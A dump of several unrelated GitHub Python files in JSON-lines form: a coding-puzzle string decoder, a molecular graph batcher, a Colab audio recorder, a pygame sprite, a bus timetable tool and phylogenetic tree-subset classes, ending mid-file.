+{"seq_id":"17435370980","text":"# Question:\n# Input is an encoded string and a rowNumber, and your purpose is designing a method to decode it\n# How does the encoding work? For example, if string \"my name is\" will be encoded with rowNumber = 3,\n# it will use a metrix to represent the original string first\n# i.e.\n#  m n e s _\n#  _ y a _ _\n#  _ _ _ m i\n# You need read it from upper left to lower right, first char is in metrix[0][0] and\n# second char should be in metrix[1][1] etc.\n# and the input is constructed by this metrix line by line, means it will look like :\n# \"mnes__ya_____mi\"\n# If string \"my name is\" encoded with rowNumber = 4, it will look like:\n#  m a i _ _\n#  _ y m s _\n#  _ _ _ e _\n#  _ _ _ n _\n# and the input will become \"mai___yms____e____n_\"\n# You need decode the input string with rowNumber it provide and return the original string,\n# remember to replace all '_' with space.\n# 题目真实截图可以在桌面的 Amazon OA2 题库中找到\n\ndef decodestring(inp, n):\n    matrix = []\n    # 先算出来一个row有几个col，那么row和col的数量就都知道了，复原出来2D array\n    # 之后按顺序读出来就好了\n    numOfCol = int(len(inp)/n)\n    for i in range(n):\n        matrix.append(inp[i*numOfCol:i*numOfCol+numOfCol])\n    for row in matrix:\n        print(row)\n    res = []\n    row = 0\n    col = 0\n    firstRowPos = 0\n    while True:\n        res.append(matrix[row][col])\n        if row==0 and col==numOfCol-1:\n            break\n        row+=1\n        col+=1\n        if row>=n or col>=numOfCol:\n            row = 0\n            firstRowPos+=1\n            col = firstRowPos\n    return \"\".join(res).replace(\"_\",\" \").strip()\nprint(decodestring(\"mai___yms____e____n_\", 4))\nprint(decodestring(\"hlowrd_el_ol\", 2))","repo_name":"EvanNingduoZhao/LeetCode","sub_path":"Amazon_OA/decode_encoded_string.py","file_name":"decode_encoded_string.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22397197026","text":"import math\nfrom dataclasses import dataclass\nfrom typing import (\n    Callable,\n    Generic,\n    List,\n    Dict,\n    Optional,\n    Tuple,\n    Any,\n    TypeVar,\n    Iterator,\n    Iterable,\n)\n\nimport numpy as np\n\nfrom fs_mol.data.fsmol_dataset import NUM_EDGE_TYPES\nfrom fs_mol.data.fsmol_task import MoleculeDatapoint\n\n\n@dataclass(frozen=True)\nclass FSMolBatch:\n    \"\"\"General data structure for holding information about graph-featurized molecules in a\n    batch. Note that batches of unequally sized graphs are formed from multiple graphs by\n    combining into one large disconnected graph, where each new potential addition is tested\n    to check that it will not exceed the allowed number of nodes or edges per batch.\n\n    Args:\n        num_graphs: total number of graphs in the batch.\n        num_nodes: total number of nodes in the batch, V. Should be limited to a maximum.\n        num_edges: total number of edges in batch; one batch contains multiple disconnected\n            graphs where edges and nodes are renumbered accordingly.\n        node_features: each node has a vector representation dependent on featurisation,\n            e.g. atom type, charge, valency. [V, atom_features] float, where V is number of nodes\n        adjacency_lists: Lists of all edges in the batch, for each edge type.\n            list, len num_edge_types, elements [num edges, 2] int tensors\n        edge_features: edges may also have vector representation carrying information specific\n            to the edge. list, len num_edge_types, elements [num edges, ED] float tensors\n        node_to_graph: Vector of indices of length V. Mapping from nodes to the graphs\n            to which they belong.\n    \"\"\"\n\n    num_graphs: int\n    num_nodes: int\n    num_edges: int\n    node_features: np.ndarray  # [V, atom_features] float\n    adjacency_lists: List[\n        np.ndarray\n    ]  # list, len num_edge_types, elements [num edges, 2] int tensors\n    edge_features: List[\n        np.ndarray\n    ]  # list, len num_edge_types, elements [num edges, ED] float tensors\n    node_to_graph: np.ndarray  # [V] long\n\n\nBatchFeatureType = TypeVar(\"BatchFeatureType\")\nBatchLabelType = TypeVar(\"BatchLabelType\")\n\n\ndef fsmol_batch_finalizer(batch_data: Dict[str, Any]) -> FSMolBatch:\n    \"\"\"\n    Default implementation of a batch finalizer. Converts a batch that has reached maximum size\n    into a final FSMolBatch object, which can then be consumed by e.g. a training loop.\n\n    Args:\n        batch_data: Dictionary containing batch data, initialised and populated\n            from \"MoleculeDatapoints\" by the \"FSMolBatcher.batch()\" method.\n    \"\"\"\n    adjacency_lists = []\n    for adj_lists in batch_data[\"adjacency_lists\"]:\n        if len(adj_lists) > 0:\n            adjacency_lists.append(np.concatenate(adj_lists, axis=0))\n        else:\n            adjacency_lists.append(np.zeros(shape=(0, 2), dtype=np.int64))\n\n    edge_features = []\n    for edge_type_idx, edge_feats in enumerate(batch_data[\"edge_features\"]):\n        if len(edge_feats) > 0:\n            edge_features.append(np.concatenate(edge_feats, axis=0))\n        else:\n            edge_features.append(\n                np.zeros(shape=(adjacency_lists[edge_type_idx].shape[0], 0), dtype=np.float32)\n            )\n\n    return FSMolBatch(\n        num_graphs=batch_data[\"num_graphs\"],\n        num_nodes=batch_data[\"num_nodes\"],\n        num_edges=batch_data[\"num_edges\"],\n        node_features=np.concatenate(batch_data[\"node_features\"], axis=0),\n        adjacency_lists=adjacency_lists,\n        edge_features=edge_features,\n        node_to_graph=np.concatenate(batch_data[\"node_to_graph\"], axis=0),\n    )\n\n\nclass FSMolBatcher(Generic[BatchFeatureType, BatchLabelType]):\n    \"\"\"Create a batcher object. Acts on an iterable over MoleculeDatapoints to create\n    suitably sized mini-batches. The batch method checks that adding another graph\n    will not cause overflow of maximum number of total edges, nodes or graphs,\n    and creates a new batch if that is the case.\n\n    Sampling can only fail if a fixed size is requested for any of the folds that cannot be\n    satisfied.\n\n    Args:\n        max_num_graphs (Optional): If set, the maximum number of graphs added to a batch.\n        max_num_nodes (Optional): If set, maximum number of nodes added to a batch.\n        max_num_edges (Optional): If set, maximum permitted edges in a batch.\n        init_callback (Optional): Callable that can be passed to operate on the initial batch to,\n            for example, add additional members to a batch data dictionary before building.\n        per_datapoint_callback (Optional): Callable that permits a user to operate on a datapoint and batch\n            prior to finalisation to perform additional operations. e.g. compute extra features.\n        finalizer_callback (Optional): Callable to allow the final batch to be returned in a specific\n            form, e.g. as instance of FSMolBatch.\n    \"\"\"\n\n    def __init__(\n        self,\n        max_num_graphs: Optional[int] = None,\n        max_num_nodes: Optional[int] = None,\n        max_num_edges: Optional[int] = None,\n        init_callback: Optional[Callable[[Dict[str, Any]], None]] = None,\n        per_datapoint_callback: Optional[\n            Callable[[Dict[str, Any], int, MoleculeDatapoint], None]\n        ] = None,\n        finalizer_callback: Optional[\n            Callable[[Dict[str, Any]], Tuple[BatchFeatureType, BatchLabelType]]\n        ] = None,\n    ):\n        if not (\n            max_num_graphs is not None or max_num_nodes is not None or max_num_edges is not None\n        ):\n            raise ValueError(\n                f\"Need to specify at least one of max_num_graphs, max_num_nodes or max_num_edges!\"\n            )\n\n        self._max_num_graphs = max_num_graphs or math.inf\n        self._max_num_nodes = max_num_nodes or math.inf\n        self._max_num_edges = max_num_edges or math.inf\n\n        self._init_callback = init_callback\n        self._per_datapoint_callback = per_datapoint_callback\n        self._finalizer_callback = finalizer_callback\n\n    def __init_batch(self) -> Dict[str, Any]:\n        batch_data = {\n            \"num_graphs\": 0,\n            \"num_nodes\": 0,\n            \"num_edges\": 0,\n            \"node_features\": [],\n            \"adjacency_lists\": [[] for _ in range(NUM_EDGE_TYPES)],\n            \"edge_features\": [[] for _ in range(NUM_EDGE_TYPES)],\n            \"node_to_graph\": [],\n            \"graph_task\": [],\n            \"bool_labels\": [],\n            \"numeric_labels\": [],\n        }\n\n        if self._init_callback is not None:\n            self._init_callback(batch_data)\n\n        return batch_data\n\n    def __finalize_batch(\n        self, batch_data: Dict[str, Any]\n    ) -> Tuple[BatchFeatureType, BatchLabelType]:\n        if self._finalizer_callback is not None:\n            return self._finalizer_callback(batch_data)\n\n        batch_features = fsmol_batch_finalizer(batch_data)\n        return batch_features, np.stack(batch_data[\"bool_labels\"], axis=0)\n\n    def batch(\n        self, datapoints: Iterable[MoleculeDatapoint]\n    ) -> Iterator[Tuple[BatchFeatureType, BatchLabelType]]:\n        batch_data = self.__init_batch()\n\n        for datapoint in datapoints:\n            num_nodes = len(datapoint.graph.node_features)\n            num_edges = sum(len(adj_list) for adj_list in datapoint.graph.adjacency_lists)\n\n            # Decide if this batch is full:\n            if (\n                (batch_data[\"num_graphs\"] + 1 > self._max_num_graphs)\n                or (batch_data[\"num_nodes\"] + num_nodes > self._max_num_nodes)\n                or (batch_data[\"num_edges\"] + num_edges > self._max_num_edges)\n            ):\n                yield self.__finalize_batch(batch_data)\n                batch_data = self.__init_batch()\n\n            sample_id_in_batch = batch_data[\"num_graphs\"]\n\n            # Collect the actual graph information:\n            batch_data[\"node_features\"].append(datapoint.graph.node_features)\n            for edge_type, adj_list in enumerate(datapoint.graph.adjacency_lists):\n                batch_data[\"adjacency_lists\"][edge_type].append(adj_list + batch_data[\"num_nodes\"])\n            for edge_type, edge_feats in enumerate(datapoint.graph.edge_features):\n                batch_data[\"edge_features\"][edge_type].append(edge_feats)\n            batch_data[\"node_to_graph\"].append(\n                np.full(shape=(num_nodes,), fill_value=sample_id_in_batch, dtype=np.int64)\n            )\n\n            # Label information:\n            batch_data[\"bool_labels\"].append(datapoint.bool_label)\n            batch_data[\"numeric_labels\"].append(datapoint.numeric_label)\n\n            # Some housekeeping information:\n            batch_data[\"graph_task\"].append(datapoint.task_name)\n            batch_data[\"num_graphs\"] += 1\n            batch_data[\"num_nodes\"] += num_nodes\n            batch_data[\"num_edges\"] += num_edges\n\n            if self._per_datapoint_callback is not None:\n                self._per_datapoint_callback(batch_data, sample_id_in_batch, datapoint)\n\n        if batch_data[\"num_graphs\"] > 1:  # single-element batches are problematic for BatchNorm\n            yield self.__finalize_batch(batch_data)\n\n\nclass FSMolBatchIterable(\n    Iterable[Tuple[BatchFeatureType, BatchLabelType]], Generic[BatchFeatureType, BatchLabelType]\n):\n    def __init__(\n        self,\n        samples: List[MoleculeDatapoint],\n        batcher: FSMolBatcher[BatchFeatureType, BatchLabelType],\n        shuffle: bool = False,\n        seed: int = 0,\n    ):\n        self._samples = samples\n        self._batcher = batcher\n        self._shuffle = shuffle\n        self._rng = np.random.Generator(np.random.PCG64(seed=seed))\n\n    def __iter__(self) -> Iterator[Tuple[BatchFeatureType, BatchLabelType]]:\n        if self._shuffle:\n            samples = list(self._samples)\n            self._rng.shuffle(samples)\n        else:\n            samples = self._samples\n\n        return self._batcher.batch(samples)\n","repo_name":"microsoft/FS-Mol","sub_path":"fs_mol/data/fsmol_batcher.py","file_name":"fsmol_batcher.py","file_ext":"py","file_size_in_byte":9915,"program_lang":"python","lang":"en","doc_type":"code","stars":142,"dataset":"github-code","pt":"60"}
+{"seq_id":"35652333499","text":"from IPython.display import Javascript, display\nfrom base64 import b64decode\nfrom io import BytesIO\nfrom pydub import AudioSegment\n\ndef save_recorded_audio(filename, sample_rate=16000, target_num_samples=16000):\n    RECORD = (\n        b\"const sleep  = time => new Promise(resolve => setTimeout(resolve, time))\\n\"\n        b\"const b2text = blob => new Promise(resolve => {\\n\"\n        b\"  const reader = new FileReader()\\n\"\n        b\"  reader.onloadend = e => resolve(e.srcElement.result)\\n\"\n        b\"  reader.readAsDataURL(blob)\\n\"\n        b\"})\\n\"\n        b\"var record = time => new Promise(async resolve => {\\n\"\n        b\"  stream = await navigator.mediaDevices.getUserMedia({ audio: true })\\n\"\n        b\"  recorder = new MediaRecorder(stream)\\n\"\n        b\"  chunks = []\\n\"\n        b\"  recorder.ondataavailable = e => chunks.push(e.data)\\n\"\n        b\"  recorder.start()\\n\"\n        b\"  await sleep(time)\\n\"\n        b\"  recorder.onstop = async ()=>{\\n\"\n        b\"    blob = new Blob(chunks)\\n\"\n        b\"    text = await b2text(blob)\\n\"\n        b\"    resolve(text)\\n\"\n        b\"  }\\n\"\n        b\"  recorder.stop()\\n\"\n        b\"})\"\n    )\n    RECORD = RECORD.decode(\"ascii\")\n\n    print(f\"Recording started for {target_num_samples} samples at {sample_rate} Hz sample rate.\")\n    display(Javascript(RECORD))\n    s = colab_output.eval_js(\"record(%d)\" % (target_num_samples / sample_rate * 1000))\n    print(\"Recording ended.\")\n    b = b64decode(s.split(\",\")[1])\n\n    fileformat = \"wav\"\n    filename = f\"{filename}.{fileformat}\"\n\n    # PyDub를 사용하여 샘플링 속도와 샘플 수를 조정하고 저장\n    audio = AudioSegment.from_file(BytesIO(b))\n    audio = audio.set_frame_rate(sample_rate)\n    audio = audio.set_channels(1)  # 모노 오디오로 설정\n\n    # 실제 샘플 수 확인\n    actual_num_samples = len(audio.get_array_of_samples())\n\n    # 샘플 수를 목표 샘플 수로 조절\n    if actual_num_samples < target_num_samples:\n        padding = AudioSegment.silent(duration=(target_num_samples - actual_num_samples) * 1000 // sample_rate)\n        audio = audio + padding\n    elif actual_num_samples > target_num_samples:\n        audio = audio[:target_num_samples]\n\n    audio.export(filename, format=fileformat)\n    print(f\"Audio saved as {filename} with {sample_rate} Hz sample rate and {target_num_samples} samples\")\n\n# 16000 Hz 샘플링 속도와 16000 개의 샘플로 녹음하여 저장하는 예시\nsave_recorded_audio(\"my_recorded_audio\", sample_rate=16000, target_num_samples=16000)\n","repo_name":"seojeongyun/Speech_command","sub_path":"save_my_record.py","file_name":"save_my_record.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21478763842","text":"from os import path\n\nimport pygame\n\nfrom Helpers.AnimatedSprite import AnimatedSprite\n\n\nclass Player(AnimatedSprite):\n    INTERVAL = 120  # milliseconds between animation frame\n\n    def __init__(self, picture, columns, rows, *groups, rect=None, speed=2, stages=None):\n        if not rect:\n            rect = pygame.Rect(0, 0, picture.get_width() // columns, picture.get_height() // rows)\n        self.rect = rect\n        self.speed = speed\n        self.time = pygame.time.Clock()\n        self.timer = 0\n        self.x_dir = 0\n        self.y_dir = 0\n\n        super(Player, self).__init__(picture, columns, rows, rect.x, rect.y, *groups, stages=stages)\n\n        self.stage = \"Idle\"\n\n    def update(self, event=None):\n        self.timer += self.time.tick()\n        if self.timer >= self.INTERVAL:\n            self.timer = 0\n            if self.cur_frame + self.stages[self.stage][0] == self.stages[\"Die\"][1] - 1:\n                self.stopped = True\n            elif self.cur_frame + self.stages[self.stage][0] == self.stages[\"Silence\"][1] - 1 or self.cur_frame + \\\n                    self.stages[self.stage][0] == self.stages[\"Attack\"][1] - 1:\n                self.stage = \"Idle\"\n            print(self.cur_frame)\n            super().update()\n        if event:\n            if event.type == pygame.MOUSEBUTTONDOWN:\n                self.stage = \"Attack\"\n                self.cur_frame = 0\n            if event.type == pygame.KEYDOWN:\n                if event.key == pygame.K_w:\n                    self.y_dir = -1\n                if event.key == pygame.K_a:\n                    self.x_dir = -1\n                if event.key == pygame.K_s:\n                    self.y_dir = 1\n                if event.key == pygame.K_d:\n                    self.x_dir = 1\n                if event.key == pygame.K_x:\n                    self.stage = \"Die\"\n                if event.key == pygame.K_e and self.stage != \"Die\":\n                    self.stage = \"Silence\"\n                    self.cur_frame = 0\n                    self.stopped = False\n            if event.type == pygame.KEYUP:\n                if event.key == pygame.K_w:\n                    self.y_dir = self.y_dir = 0 if self.y_dir < 0 else self.y_dir\n                if event.key == pygame.K_a:\n                    self.x_dir = 0 if self.x_dir < 0 else self.x_dir\n                if event.key == pygame.K_s:\n                    self.y_dir = 0 if self.y_dir > 0 else self.y_dir\n                if event.key == pygame.K_d:\n                    self.x_dir = 0 if self.x_dir > 0 else self.x_dir\n        # else:\n            # self.move()\n\n    def move(self):\n        if self.stage == \"Die\" or self.stage == \"Attack\":\n            return\n        if self.x_dir == 0 and self.y_dir == 0:\n            if self.stage == \"Walk\":\n                self.stage = \"Idle\"\n                self.cur_frame = 0\n                self.stopped = False\n            return\n        self.x_flipped = self.x_flipped if self.x_dir == 0 else self.x_dir < 0\n        self.stage = \"Walk\"\n        self.stopped = False\n        self.rect.x += self.speed * self.x_dir\n        self.rect.y += self.speed * self.y_dir\n\n\ndef load_image(name):\n    fullname = path.join(*name)\n    if not path.isfile(fullname):\n        print(f\"Файл с изображением '{fullname}' не найден\")\n        exit()\n    image = pygame.image.load(fullname)\n    return image\n\n\nif __name__ == '__main__':\n    pygame.init()\n    size = width, height = 1350, 825\n    fps = 300\n    clock = pygame.time.Clock()\n    all_sprites = pygame.sprite.Group()\n    animated_sprites = pygame.sprite.Group()\n    screen = pygame.display.set_mode(size)\n    Player(load_image([\"..\", \"data\", \"player.png\"]), 8, 8, all_sprites, animated_sprites, stages={\"Walk\": [0, 8],\n                                                                                                  \"Idle\": [8, 35],\n                                                                                                  \"Attack\": [35, 41],\n                                                                                                  \"Silence\": [41, 53],\n                                                                                                  \"Die\": [54, 64]})\n    running = True\n\n    while running:\n        screen.fill('blue')\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                running = False\n            all_sprites.update(event)\n        all_sprites.draw(screen)\n        animated_sprites.update()\n        clock.tick(fps)\n        pygame.display.flip()\n    pygame.quit()\n","repo_name":"MaxChernous/PyGame-Project","sub_path":"Entities/Player.py","file_name":"Player.py","file_ext":"py","file_size_in_byte":4559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13429205159","text":"import json\nfrom Functions import download_data, exclude_trips, time_to_string\nfrom TimeConverter import convert_time\nfrom Trips import Trips\nfrom CalendarDates import CalendarDates\nfrom Routes import Routes\nfrom Delays import Delays\nimport datetime\n\n\nURL_TRIPS = \"http://api.zdiz.gdynia.pl/pt/trips\"\nURL_CALENDAR_DATES = \"http://api.zdiz.gdynia.pl/pt/calendar_dates\"\nURL_ROUTES = \"http://api.zdiz.gdynia.pl/pt/routes\"\nURL_DELAYS = \"http://api.zdiz.gdynia.pl/pt/delays?stopId={stop_id}\"\n\n\nclass StopSelecter():\n    def __init__(self, url_stops, url_stop_times):\n        download_data(url_stops, \"stops_list.json\")\n        download_data(url_stop_times, \"stop_times_list.json\")\n        self.stop_data = {}\n        self.timeTable = {}\n        self.updateTime = None\n\n    def get_stop_data(self, user_stop_name):\n        with open(\"stops_list.json\", \"r\") as stops:\n            stops_data = json.load(stops)\n        for stop_name in stops_data:\n            if stop_name[\"stopName\"] == user_stop_name:\n                self.stop_data = {\n                    \"stopName\": stop_name['stopName'],\n                    \"stopId\": stop_name['stopId'],\n                    \"zoneId\": stop_name['zoneId']\n                }\n                return\n\n    def stop_time_table(self):\n        # Downlad full Time Table for selected stop\n        self.timeTable = {}\n        with open(\"stop_times_list.json\", \"r\") as stop_time_table:\n            time_table = json.load(stop_time_table)\n        for departure in time_table:\n            if departure[\"stopId\"] == self.stop_data[\"stopId\"]:\n                tripId = departure.get(\"tripId\")\n                departureTtime = departure.get(\"departureTime\")\n                self.timeTable[tripId] = {\n                    \"departureTime\": departureTtime\n                }\n        # Removed function for exclude_trips\n        # Assign routeID, serviceId, tripHeadsign\n        trips = Trips(URL_TRIPS)\n        for trip_id, trip_data in self.timeTable.items():\n            for specific_trip_data in trips.list:\n                if trip_id == specific_trip_data[\"tripId\"]:\n                    trip_data[\"routeId\"] = specific_trip_data.get(\"routeId\")\n                    trip_data[\"serviceId\"] = specific_trip_data.get(\n                        \"serviceId\")\n                    trip_data[\"tripHeadsign\"] = specific_trip_data.get(\n                        \"tripHeadsign\")\n                    trip_data[\"tripHeadsign\"] = trip_data[\"tripHeadsign\"][:-3]\n                    self.timeTable[trip_id] = trip_data\n        # Exclude all trips not in service on specific day\n        calendar_date = CalendarDates(URL_CALENDAR_DATES)\n        today = datetime.date.today()\n        yesterday = today - datetime.timedelta(days=1)\n        tomorrow = today + datetime.timedelta(days=1)\n        today = str(today).replace(\"-\", \"\")\n        yesterday = str(yesterday).replace(\"-\", \"\")\n        trip_to_remove = []\n        for trip_id, trip_data in self.timeTable.items():\n            service_id = trip_data.get(\"serviceId\")\n            departure_time = trip_data.get(\"departureTime\")\n            trip_in_service = False\n            for calendar_trips in calendar_date.list:\n                id = calendar_trips.get(\"serviceId\")\n                if service_id == id:\n                    service_day = calendar_trips.get(\"date\")\n                    if today == service_day:\n                        trip_in_service = True\n                    elif yesterday == service_day:\n                        if departure_time >= \"24:00:00\":\n                            trip_in_service = True\n                    elif tomorrow == service_day:\n                        if departure_time < \"01:00:00\":\n                            trip_in_service = True\n            if not trip_in_service:\n                trip_to_remove.append(trip_id)\n        for id_to_remove in trip_to_remove:\n            del self.timeTable[id_to_remove]\n        # Convert Time\n        convert_time(self.timeTable, \"departureTime\")\n        # Assign current delays data\n        delays = Delays(URL_DELAYS, self.stop_data[\"stopId\"])\n        self.updateTime = delays.list[\"lastUpdate\"]\n        for trip_id, trip_data in self.timeTable.items():\n            route_id = trip_data.get(\"routeId\")\n            departure_time = trip_data.get(\"departureTime\")\n            delays.get_delay_data(route_id, departure_time,\n                                  trip_data, self.timeTable, trip_id)\n        # Exclude all passed departures and departures later than 1h after time convert\n        exclude_trips(self.timeTable)\n        # Get routeShortName\n        routes = Routes(URL_ROUTES)\n        for trip_id, trip_data in self.timeTable.items():\n            route_id = trip_data.get(\"routeId\")\n            for route_data in routes.list:\n                route_data_id = route_data.get(\"routeId\")\n                if route_id == route_data_id:\n                    route_short_name = route_data.get(\"routeShortName\")\n                    trip_data[\"routeShortName\"] = route_short_name\n        # Sort Time Table\n        self.timeTable = dict(sorted(self.timeTable.items(),\n                                     key=lambda item: item[1][\"departureTime\"]))\n        # Convert departure time to strin\n        time_to_string(self.timeTable, \"departureTime\")\n        time_to_string(self.timeTable, \"estimatedTime\")\n","repo_name":"Mistermichu/QuicklyCheckBus","sub_path":"StopSelecter.py","file_name":"StopSelecter.py","file_ext":"py","file_size_in_byte":5320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38935274148","text":"from p4.p4exceptions import P4Error\nfrom p4.treepartitions import TreePartitions\nfrom p4.tree import Tree\nfrom p4.trees import Trees\nfrom p4.func import read\nfrom p4.var import var\nimport sys\nimport csv\nimport random\nfrom math import log, factorial, floor\n\nROOT_NODE_NAME = 'A_NAME_NOT_EASILY_FOUND_IN_A_TREE'\n\nTAXON_SEPARATOR = ':'\n\n\nclass TreeSubsets(object):\n\n    def __init__(self, inputTrees):\n        gm = ['TreeSubsets()']\n        if isinstance(inputTrees, list):\n            trees = []\n            for t in inputTrees:\n                if not isinstance(t, Tree):\n                    gm.append(\n                        \"Input trees should be a list of p4 Tree objects. Got %s\" % t)\n                    raise P4Error(gm)\n                else:\n                    trees.append(t)\n            if len(inputTrees) < 1:\n                gm.append(\n                    'Sorry, at least one tree must be supplied as input tree')\n                raise P4Error(gm)\n            self.inputTrees = trees\n        elif isinstance(inputTrees, str):\n            var.trees = []\n            read(inputTrees)\n            if len(var.trees) < 1:\n                gm.append(\n                    'Sorry, at least one tree must be supplied as input tree')\n                raise P4Error(gm)\n            self.inputTrees = var.trees\n        else:\n            gm.append(\n                \"Input trees are neither a list of p4 Tree objects nor a valid filename.\")\n            raise P4Error(gm)\n\n        self.nonUnrootedTrees = []\n        for t in self.inputTrees:\n            if not len(t.taxNames):\n                t._setTaxNamesFromLeaves()\n#                    self.nonUnrootedTrees.append(t.dupe())\n            if t.root.getNChildren() <= 2:\n                t.removeRoot()\n\n        self.treeSets = []\n        self.subtrees = {}\n        self._buildConsensus()\n        self.noTaxonSets = 0\n\n    def _buildConsensus(self):\n        trees = Trees(self.inputTrees)\n\n        tp = TreePartitions(trees)\n        self.consensusTree = tp.consensus(minimumProportion=0.49)\n        self.consensusTree.setPreAndPostOrder()\n        for n in self.consensusTree.root.iterInternals():\n            if n != self.consensusTree.root:\n                if n.br.support:\n                    n.name = '%i' % floor(100. * float(n.br.support))\n\n    def getConsensusTree(self):\n        return self.consensusTree\n\n    def _printConsensus(self):\n        self.consensusTree.draw(width=80, showNodeNums=0)\n\n    def _getTaxonSets(self):\n        taxonSets = []\n        taxNames = []\n        t = self.consensusTree.dupe()\n        while self.isSubtreeDivideable(t.root):\n\n            for n in t.iterInternalsNoRootPostOrder():\n                if n.name == '100':\n                    taxa = t.getAllLeafNames(n)\n                    taxname = ''\n                    for taxon in taxa:\n                        taxname = taxname + taxon + TAXON_SEPARATOR\n                    taxname = taxname[:len(taxname) - 1]\n                    list = []\n                    taxonSets.append(taxa)\n                    taxNames.append(taxname)\n                    t.addSibLeaf(n.parent, taxname)\n                    t.removeNode(n, alsoRemoveSingleChildParentNode=False)\n#                        t.draw(width=80, showNodeNums=0)\n                    break\n\n#            print 'TaxonSets'\n#            for taxonSet in taxonSets:\n#                print taxonSet\n#            print\n        return taxonSets, taxNames\n\n    def getSubTreesAndTaxonSetsFromInputTrees(self, verbose=False):\n\n        taxonSets, taxNames = self._getTaxonSets()\n        cherries = []\n        for set in taxonSets:\n            if len(set) == 2:\n                cherries.append(set)\n        self.noTaxonSets = len(taxonSets)\n        subtreeDicts = []\n\n        if self.noTaxonSets == 0:\n            for t in self.inputTrees:\n                subTrees = {}\n                subTrees['tree'] = t\n                subtreeDicts.append(subTrees)\n            return subtreeDicts, ['tree']\n\n        if verbose:\n            index = 1\n            sampler = 1\n            if len(self.inputTrees) > 20:\n                sampler = int(float(len(self.inputTrees) / 20))\n            sys.stdout.write('0%                    100%\\n')\n            sys.stdout.write('  ')\n            sys.stdout.flush()\n\n        for t in self.inputTrees:\n            if verbose:\n                index += 1\n                if (index + 1) % sampler == 0:\n                    sys.stdout.write('.')\n                    sys.stdout.flush()\n            subtreeDicts.append(self._getSubTreesFromTree(t, taxonSets))\n            t = None\n\n        if verbose:\n            sys.stdout.write('\\n')\n            sys.stdout.flush()\n#            print 'SubtreeSets:'\n#            for dict in subtreeDicts:\n#                for name, subtree in dict.items():\n#                    print name\n#                    subtree.draw(width=80, showNodeNums=0)\n# print '********************************************************'\n\n        return subtreeDicts, taxNames, taxonSets, cherries\n\n    def _getSubTreesFromTree(self, t, taxonSets):\n\n        subTrees = {}\n\n        self._getSubTreesFromSubTree(t.root, t, taxonSets, subTrees)\n\n        return subTrees\n\n    def getNamesInOrder(self):\n\n        taxa = ''\n        for leaf in self.consensusTree.iterLeavesPostOrder():\n            taxa += leaf.name\n        return taxa\n\n    def _getSubTreesFromSubTree(self, node, t, taxonSets, subTrees):\n\n        if node.isLeaf:\n            return [node.name]\n\n        names = []\n        names.extend(self._getSubTreesFromSubTree(\n            node.leftChild, t, taxonSets, subTrees))\n        sibling = node.leftChild.sibling\n        while sibling:\n            if sibling.isLeaf:\n                names.append(sibling.name)\n            else:\n                names.extend(\n                    self._getSubTreesFromSubTree(sibling, t, taxonSets, subTrees))\n            sibling = sibling.sibling\n\n        match = False\n        taxset = None\n        for taxonSet in taxonSets:\n            match = True\n            if len(taxonSet) == len(names):\n\n                for taxname in taxonSet:\n                    if not taxname in names:\n                        match = False\n                        break\n            else:\n                match = False\n            if match:\n                taxset = taxonSet\n                break\n\n        if match:\n            name = ''\n            for taxon in taxset:\n                name = name + taxon + TAXON_SEPARATOR\n            name = name[:len(name) - 1]\n\n            if len(taxonSet) > 2:\n                subtree = t.dupeSubTree(node, True)\n                subtree.removeRoot()\n                subTrees[name] = subtree\n\n            node.name = name\n            node.isLeaf = True\n            node.leftChild = None\n            return [name]\n\n        return names\n\n    def isSubtreeDivideable(self, node):\n        for n in node.iterInternals():\n            if n.name == '100':\n                return True\n        return False\n\n\nclass CherryRemover(object):\n\n    def __init__(self, inputTrees):\n\n        gm = ['CherryRemover()']\n        if isinstance(inputTrees, list):\n            trees = []\n            for t in inputTrees:\n                if not isinstance(t, Tree):\n                    gm.append(\n                        \"Input trees should be a list of p4 Tree objects. Got %s\" % t)\n                    raise P4Error(gm)\n                else:\n                    trees.append(t.dupe())\n            if len(inputTrees) < 1:\n                gm.append(\n                    'Sorry, at least one tree must be supplied as input tree')\n                raise P4Error(gm)\n            self.inputTrees = trees\n        elif isinstance(inputTrees, str):\n            var.trees = []\n            read(inputTrees)\n            if len(var.trees) < 1:\n                gm.append(\n                    'Sorry, at least one tree must be supplied as input tree')\n                raise P4Error(gm)\n            self.inputTrees = var.trees\n        else:\n            gm.append(\n                \"Input trees are neither a list of p4 Tree objects nor a valid filename.\")\n            raise P4Error(gm)\n\n        # print 'Got %s trees' % (len(self.inputTrees))\n\n        self.taxname2Subtree = {}\n\n        self.nonUnrootedTrees = []\n        for t in self.inputTrees:\n            if not len(t.taxNames):\n                t._setTaxNamesFromLeaves()\n            self.nonUnrootedTrees.append(t.dupe())\n            if t.root.getNChildren() <= 2:\n                t.removeRoot()\n\n        self.reducedTrees = []\n\n        # list of lists like so [[name2ReplaceWith,\n        # taxa2remove],[name2ReplaceWith, taxa2remove],,,,,]\n        self.removeInfo = []\n\n        self.removableNodes = []\n\n        self.consensusTree = None\n\n        self.allowMultiFurcatingCherries = False\n\n        self.cherryCutOff = 1.0\n\n    def _buildConsensus(self):\n        trees = Trees(self.inputTrees)\n\n        tp = TreePartitions(trees)\n        self.consensusTree = tp.consensus(minimumProportion=0.49)\n        self.consensusTree.setPreAndPostOrder()\n        for n in self.consensusTree.root.iterInternals():\n            if n != self.consensusTree.root:\n                if n.br.support:\n                    n.name = '%i' % round(100. * float(n.br.support))\n\n    def _identifySubtreesForRemoval(self):\n        node = None\n        for n in self.consensusTree.iterInternalsNoRootPostOrder():\n            n.removable = False\n            if n.br.support >= self.cherryCutOff:\n\n                if self.allowMultiFurcatingCherries:\n                    n.removable = True\n                    for l in n.iterChildren():\n                        if not l.isLeaf:\n                            if not l.removable:\n                                n.removable = False\n\n                else:\n                    if n.getNChildren() == 2:\n                        n.removable = True\n                        for l in n.iterChildren():\n                            if not l.isLeaf:\n                                if not l.removable:\n                                    n.removable = False\n\n                if n.removable:\n                    node = n\n            elif node:\n                self.removableNodes.append(node)\n                node = None\n        if node:\n            self.removableNodes.append(node)\n\n    def _buildRemoveInfo(self):\n\n        for n in self.removableNodes:\n            name = ''\n            list = 